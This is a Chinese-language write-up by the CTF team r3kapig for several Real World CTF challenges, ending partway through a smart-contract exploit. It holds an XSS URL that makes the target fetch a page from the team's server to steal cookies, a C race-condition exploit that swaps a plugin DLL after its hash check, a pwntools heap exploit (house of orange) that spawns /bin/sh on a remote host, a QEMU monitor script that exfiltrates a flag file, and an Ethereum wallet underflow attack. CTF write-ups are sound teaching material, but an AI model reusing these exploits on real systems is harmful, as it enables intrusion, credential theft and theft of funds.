我们是由Eur3kA和flappypig组成的联合战队r3kapig。上周末,我们参与了长亭科技举办的Real World CTF 并取得了第三名的成绩。题目很有趣,所以我们决定把我们做出来的题目的writeup发出来分享给大家。
另外我们战队目前正在招募队员,欢迎想与我们一起玩的同学加入我们,尤其是熟悉密码学或浏览器利用的大佬。给大家递茶。
首先是源码泄露www.zip
然后登陆时发现whitelist里有一个外网的ip
18.213.16.123
于是访问flask的默认端口5000
发现服务开放在debug模式
于是审计代码中app.debug的部分
发现redis lua
其中用python3.6的新特性
并且可以控制session拼接恶意代码
调用redis.call给我们自己命名的session赋值
并且这里由于@login_requried写上面了
所以并没有作用
于是进行未授权访问和操作
关键代码如上
这里可以按要求构造json,如下
http://13.57.104.34/?{%22iframe%22:{%22value%22:%20%22\u002f\u005c1998326715:8889/a%22}}
(利用/\去bypass//不能用)
题目会请求vps
在vps上放一个index.html打cookie
http://13.57.104.34/?{%22iframe%22:{%22value%22:%20%22\u002f\u005c1998326715%22}}
请求即可
题目提供了一个上传PE文件的服务,可以上传PE文件并在沙箱(sandbox.exe)中执行。
题目关键逻辑是server.exe, 逆向了一下大概是一个RPC服务,可以通过RPC服务开启一个authentication服务,并且可以通过管道与authentication服务进行交互。
authentication服务提供了两种认证方式,一种是账号密码认证,一种是插件认证。只要认证通过的话就可以拿到flag。
账号密码的认证是通过比对c:\ctf\password.txt跟选手提供的密码是否一致,而插件认证则是提供插件(dll)所在的相对路径,并比较插件文件sha256是否为某个特定的值,如果是的话就通过LoadLibrary 来调用插件的auth函数。
由于有沙箱,所以我们并不能直接读到password进行账号密码认证,所以我们尝试攻击插件认证,我们主要的思路就是自己写一个伪造的插件,然后放置在可写的目录中。然后复制真正的插件也到该可写的目录中,然后提供真正插件的路径给authentication服务。我们race这样一个情形:利用真正的插件让sha256的检查通过,接着直接覆盖真正的插件为我们的伪造插件,使得LoadLibary load我们自己伪造的插件,从而直接通过认证,拿到flag。so called Code Replacement Attack
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>
#include <rpc.h>
#include <midles.h>
#include "Source_h.h"
#include "resource.h"
#include "Source_c.c" // header file generated by MIDL compiler
typedef unsigned __int64* LPQWORD;
#pragma comment(lib,"Rpcrt4.lib")
void __cdecl main(int argc, char **argv)
{
setvbuf(stdout,0,_IONBF,0);
RPC_STATUS status;
RPC_WSTR pszStringBinding = NULL;
unsigned long ulCode;
// Use a convenience function to concatenate the elements of
// the string binding into the proper sequence.
status = RpcStringBindingCompose(0,
(RPC_WSTR)L"ncalrpc",
0,
(RPC_WSTR)L"ZygoteEndpoint",
0,
&pszStringBinding);
printf_s("RpcStringBindingCompose returned 0x%x\n", status);
wprintf_s(L"pszStringBinding = %s\n", pszStringBinding);
if (status) {
exit(status);
}
// Set the binding handle that will be used to bind to the server.
status = RpcBindingFromStringBinding(pszStringBinding, &rpc_handle);
printf_s("RpcBindingFromStringBinding returned 0x%x\n", status);
if (status) {
exit(status);
}
printf_s("Calling the remote procedure\n");
HANDLE in=0;
HANDLE out=0;
unsigned __int64 test=0;
DWORD tmp=0;
DWORD outsize=0;
wchar_t *target=L"C:\\Users\\realworld\\AppData\\LocalLow\\nonick.dll";
HRSRC hres=FindResourceA(0,MAKEINTRESOURCEA(IDR_DLL1),"DLL");
HGLOBAL hgres=LoadResource(0,hres);
DWORD size = SizeofResource(0, hres);
char* res = (char*)LockResource(hgres);
RpcTryExcept {
char *tmpbuf=0;
DWORD t=0;
do
{
t++;
if (tmpbuf)
{
delete tmpbuf;
tmpbuf=0;
}
RemoteOpen((LPVOID*)&test);
CopyFile(L"C:\\ctf\\auth_plugins\\fail_plugin.dll",target,0);
Spawn((VOID*)test,(__int64 *)&in,(__int64 *)&out);
DWORD option=2;
WriteFile(in,&option,4,&tmp,NULL);
char plugin_path[] = "..\\..\\Users\\realworld\\AppData\\LocalLow\\nonick.dll\x00";
DWORD len = lstrlenA(plugin_path) + 1;
WriteFile(in, &len, 4, &tmp, NULL);
WriteFile(in, plugin_path, len, &tmp, NULL);
HANDLE hfile= INVALID_HANDLE_VALUE;
Sleep(15); // This is crucial
while (hfile==INVALID_HANDLE_VALUE)
{
hfile =CreateFile(target,GENERIC_READ|GENERIC_WRITE,0,0,OPEN_EXISTING,FILE_FLAG_NO_BUFFERING,0);
}
WriteFile(hfile,res,size,&tmp,0);
CloseHandle(hfile);
ReadFile(out, &outsize, 4, &tmp, NULL);
tmpbuf=new char[outsize];
RtlSecureZeroMemory(tmpbuf,outsize);
ReadFile(out, tmpbuf, outsize, &tmp, NULL);
tmpbuf[tmp]=0;
RemoteClose((LPVOID*)&test);
} while (*tmpbuf=='N');
printf_s("t=%d,Received:%s.\n",t,tmpbuf);
printf_s("CTX value :%llx\n",test);
printf_s("Handle value:%llx,%llx\n",in,out);
}
RpcExcept(( ( (RpcExceptionCode() != STATUS_ACCESS_VIOLATION) &&
(RpcExceptionCode() != STATUS_DATATYPE_MISALIGNMENT) &&
(RpcExceptionCode() != STATUS_PRIVILEGED_INSTRUCTION) &&
(RpcExceptionCode() != STATUS_BREAKPOINT) &&
(RpcExceptionCode() != STATUS_STACK_OVERFLOW) &&
(RpcExceptionCode() != STATUS_IN_PAGE_ERROR) &&
(RpcExceptionCode() != STATUS_GUARD_PAGE_VIOLATION)
)
? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH )) {
ulCode = RpcExceptionCode();
printf_s("Runtime reported exception 0x%lx = %ld\n", ulCode, ulCode);
}
RpcEndExcept
// The calls to the remote procedures are complete.
// Free the string and the binding handle
status = RpcStringFree(&pszStringBinding); // remote calls done; unbind
printf_s("RpcStringFree returned 0x%x\n", status);
if (status) {
exit(status);
}
status = RpcBindingFree(&rpc_handle); // remote calls done; unbind
printf_s("RpcBindingFree returned 0x%x\n", status);
if (status) {
exit(status);
}
exit(0);
}
/*********************************************************************/
/* MIDL allocate and free */
/*********************************************************************/
void __RPC_FAR * __RPC_USER midl_user_allocate(size_t len)
{
return(malloc(len));
}
void __RPC_USER midl_user_free(void __RPC_FAR * ptr)
{
free(ptr);
}
看起来这是个非预期解
在 18e0的位置有 kvm的虚拟代码,从内存中dump下来,然后16bit 的形式在IDA中打开分析
guest的功能从菜单里面可以看到,漏洞点在:
top在到达0xa000后,如果在分配一个0x1000大小的chunk,就会使得0xb000+0x1000+0x5000变成0x10000,而这个是个16bit的架构,从而chunk的基地址变成0,而0是guest代码的起始位置,那么我们就可以覆盖guest的代码了。
然后就是host的利用了,uaf,限制了fastbin的使用,直接house of orange
from pwn import *
local=0
pc='./kid_vm'
remote_addr="34.236.229.208"
remote_port=9999
aslr=True
libc=ELF('./libc.so.6')
if local==1:
context.log_level=True
p = process(pc,aslr=aslr)
gdb.attach(p,'c')#'b *0x555555555083')
else:
p=remote(remote_addr,remote_port)
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8,'\x00'))
else:
return u64(rl().strip('\n').ljust(8,'\x00'))
def choice(index):
sn(str(index))
def allocate(size):
choice(1)
sa(":",p16(size))
def update(index,content):
choice(2)
sa(":",p8(index))
sa(":",content)
def allocatehost(size):
choice(4)
sa(":",p16(size))
def updatehost(size,index,content):
choice(5)
sa(":",p16(size))
sa(":",p8(index))
sa(":",content)
def freehost(index):
choice(6)
sa(":",p8(index))
if __name__ == '__main__':
#int overflow
for i in range(0xb):
allocate(0x1000)
# modify
update(0,p16(0x1)*0x800)
allocate(0x226)
f=open('./mem','rb') # the guest code
data=f.read()
# free and clean
data=data[:0x10]+"\xb8\x00\x40\xbb\x30\x00"+data[0x16:0x1A3]+'\xbb\x01\x00'+data[0x1a6:0x1e2]+"\xbb\x01\x00"+data[(0x1e2+3):0x220]+"\x8b\x1e\x00\x50\x66\xc3"
# free and not clean , lead to UAF
data2=data[:0x10]+"\xb8\x00\x40\xbb\x30\x00"+data[0x16:0x1A3]+'\xbb\x02\x00'+data[0x1a6:0x1e2]+"\xbb\x01\x00"+data[(0x1e2+3):0x220]+"\x8b\x1e\x00\x50\x66\xc3"
update(0xb,data)
p.clean()
allocatehost(0x200)
p.clean()
allocatehost(0x200)
p.clean()
allocatehost(0x200)
p.clean()
allocatehost(0x200)
p.clean()
#trigger UAF to leak
freehost(0)
freehost(2)
update(0xb,data2)
updatehost(0x20,0,'1'*0x20)
arena_addr=u64(ru("\x00\x00"))
libc_addr=arena_addr-0x3c4b78
libc.address=libc_addr
lg("libc",libc_addr)
heap_addr=u64(ru("\x00\x00"))-0x420
lg("heap",heap_addr)
allocatehost(0x200)
update(0xb,data)
# house of orange
payload='/bin/sh\x00'+p64(0x61)+p64(0)+p64(heap_addr+0x230)+p64(0)*1+p64(1)
payload=payload.ljust(216,'\x00')+p64(heap_addr+0x250)
updatehost(len(payload),0,payload)
payload=p64(0)*3+p64(0x211)+p64(0)+p64(libc.symbols['_IO_list_all']-0x10)+p64(libc.symbols['system'])*20
updatehost(len(payload),1,payload)
updatehost(0x20,2,p64(0)+p64(heap_addr+0x10)*3)
allocatehost(0x200)
allocatehost(0x200)
allocatehost(0x200)
p.interactive()
一个最新的qemu,查看过devices发现没有自定义devices,根据start.sh发现没有重定向monitor,说明是可以进入monitor的,pwntools中发送\x01可以发送ctrl + a,所以\x01c可以进入monitor或者退出monitor。
简单查看后,发现用来执行命令的migrate命令被去掉了,其他命令主要是设备的添加删除等,之后发现qemu存在cdrom,通过info block可以查看到,ide1-cd0是cdrom设备,对应linux里的/dev/sr0,如果直接cat /dev/sr0会报错为没有medium,猜想为没有插入cd盘,于是通过change ide1-cd0 ./flag尝试将flag作为镜像插入,但是发现cat /dev/sr0虽然没有报错为没有介质,但是也没有输出,之后尝试使用更长的输入,发现要足够长才能够读出内容。
继续尝试monitor命令发现,通过drive_mirror可以复制文件,通过chardev,backend为tty可以append内容,于是思路为复制文件,之后通过tty添加内容直到足够长,最后通过/dev/sr0读出。
exp:
from time import sleep
from pwn import *
from hashlib import sha1
context(os='linux', arch='amd64', log_level='info')
DEBUG = 0
if DEBUG:
p = process(argv='./start.sh', raw=False)
else:
p = remote('34.236.229.208', 31338)
def pow():
p.recvuntil('that starts with')
s = p.recvuntil(' and')[:-4]
p.recvuntil(') starts with ')
num = p.recvuntil(':')[:-1]
p.info('s %s' % s)
p.info('num %s' % num)
for i in range(100000000):
sha1_ins = sha1()
cur = s + str(i)
sha1_ins.update(cur)
#p.info('digest %s' % sha1_ins.hexdigest())
if sha1_ins.hexdigest().startswith('000000'):
p.recvuntil('work:')
p.sendline(cur)
return
raise Exception('digest not found')
def main():
if not DEBUG:
pow()
p.recvuntil('# ')
ctrl_a = '\x01c'
p.send(ctrl_a)
# in monitor
# copy flag
p.recvuntil('(qemu)')
p.sendline('change ide1-cd0 flag')
p.recvuntil('(qemu)')
p.sendline('drive_mirror ide1-cd0 anciety_flag')
p.recvuntil('(qemu)')
p.sendline('change ide1-cd0 flag')
# append content to my flag
p.recvuntil('(qemu)')
p.sendline('chardev-add serial,id=s1,path=anciety_flag')
p.recvuntil('(qemu)')
p.sendline('device_add pci-serial,id=ss,chardev=s1')
p.recvuntil('(qemu)')
p.send(ctrl_a)
# now do apppend content
#p.recvuntil('#')
sleep(2)
payload = 'a' * 20
p.sendline('for i in `seq 1 500`; do echo %s > /dev/ttyS4; done' % payload)
sleep(2)
# change image back
p.send(ctrl_a)
p.recvuntil('(qemu)')
p.sendline('device_del ss')
p.recvuntil('(qemu)')
p.sendline('chardev-remove s1')
p.recvuntil('(qemu)')
p.sendline('block_job_cancel ide1-cd0')
p.recvuntil('(qemu)')
p.sendline('change ide1-cd0 anciety_flag')
p.recvuntil('(qemu)')
p.sendline(ctrl_a)
# read flag
p.sendline('cat /dev/sr0')
p.recvuntil('#')
p.sendline('cat /dev/sr0')
flag = p.sendline('cat /dev/sr0')
p.success('flag is in %s' % flag)
p.interactive()
if __name__ == '__main__':
main()
题目有两个合约,分别是wallet合约和token合约,wallet合约的owner可以添加transaction。而普通用户则可以通过一个id调用对应的的transaction和删除owner添加的transaction。
wallet在处理删除的逻辑中有一个漏洞,那就是他判断了transactions.length>=0才可以删除,删除操作是加transactions.length--, 也就是说transactions.length==0时执行操作会导致length为-1。
另外wallet 在处理添加transaction是先将incoming transaction assign 给一个全局变量tx,如果判断不是owner就退出,并没有清空全局变量tx。
另外由于transactions.length==-1,所以我们可以call 任何id的transaction,又因为tranctions数组跟tx全局变量都是在storage,所以我们可以先通过 添加transaction将一个调用token合约的transfer函数的transactions写到tx,然后通过精巧的构造id使得transactions[id]正好取到tx,就可以直接转账。拿到flag
exp如下
var walletAddr=0;
var tokenAddr=0;
for (i = 0; i < web3.eth.getBlock('latest').number; ++i) {
b = web3.eth.getBlock(i);
if(b.transactions != '' && walletAddr==0) {
var target = web3.eth.getTransactionReceipt(b.transactions.toString()).contractAddress;
console.log('Found contract: ', target);
walletAddr=target
continue;
}
if(b.transactions != '' && walletAddr!=0){
var target = web3.eth.getTransactionReceipt(b.transactions.toString()).contractAddress;
console.log('Found contract: ', target);
tokenAddr=target
break;
}
}
function mine_once(){
miner.start();
admin.sleep(2);
miner.stop();
}
eth.defaultAccount="0x4e5fc5cd21923c49569ea2a745f19168e7aff6e6"
var walletABI = [{"constant":false,"inputs":[{"name":"id","type":"uint256"}],"name":"deleteTransaction","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"addr","type":